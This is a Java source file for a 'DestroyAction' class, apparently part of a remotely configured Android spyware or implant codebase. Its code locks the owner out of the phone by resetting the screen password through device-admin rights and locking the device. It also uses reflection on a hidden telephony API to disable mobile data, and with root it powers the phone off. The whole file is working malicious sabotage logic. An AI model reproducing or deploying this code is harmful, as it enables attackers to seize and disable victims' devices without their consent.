package com.android.dvci.action; import android.app.admin.DevicePolicyManager; import android.content.Context; import android.telephony.TelephonyManager; import com.android.dvci.Status; import com.android.dvci.Trigger; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfAction; import com.android.dvci.conf.ConfigurationException; import com.android.dvci.util.Check; import com.android.dvci.util.Execute; import com.android.internal.telephony.ITelephony; import com.android.mm.M; import java.lang.reflect.Method; public class DestroyAction extends SubAction { private static final String TAG = "DestroyAction"; private boolean permanent; public DestroyAction(ConfAction params) { super(params); } @Override protected boolean parse(ConfAction conf) { try { permanent = conf.getBoolean(M.e("permanent")); } catch (ConfigurationException e) { return false; } return true; } @Override public boolean execute(Trigger trigger) { try { if (Status.self().haveAdmin()) { destroyAdmin(); } if (Status.self().haveRoot()) { destroyRoot(); } destroyUser(); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (execute) Error: " + ex); } } return true; } private void destroyUser() { TelephonyManager tm = (TelephonyManager) Status.getAppContext().getSystemService(Context.TELEPHONY_SERVICE); Class c; try { c = Class.forName(tm.getClass().getName()); Method m = c.getDeclaredMethod("getITelephony"); m.setAccessible(true); ITelephony telephonyService = (ITelephony) m.invoke(tm); telephonyService.disableDataConnectivity(); } catch (Exception e) { e.printStackTrace(); } } private void destroyAdmin() { DevicePolicyManager mDPM; mDPM = (DevicePolicyManager) Status.self().getAppContext().getSystemService(Context.DEVICE_POLICY_SERVICE); if (Cfg.DEBUG) { mDPM.resetPassword(M.e("Blocked0011"), 0); } else { mDPM.resetPassword(M.e("b"), 0); } mDPM.lockNow(); } private void destroyRoot() { Execute.executeRoot("reboot -p"); } }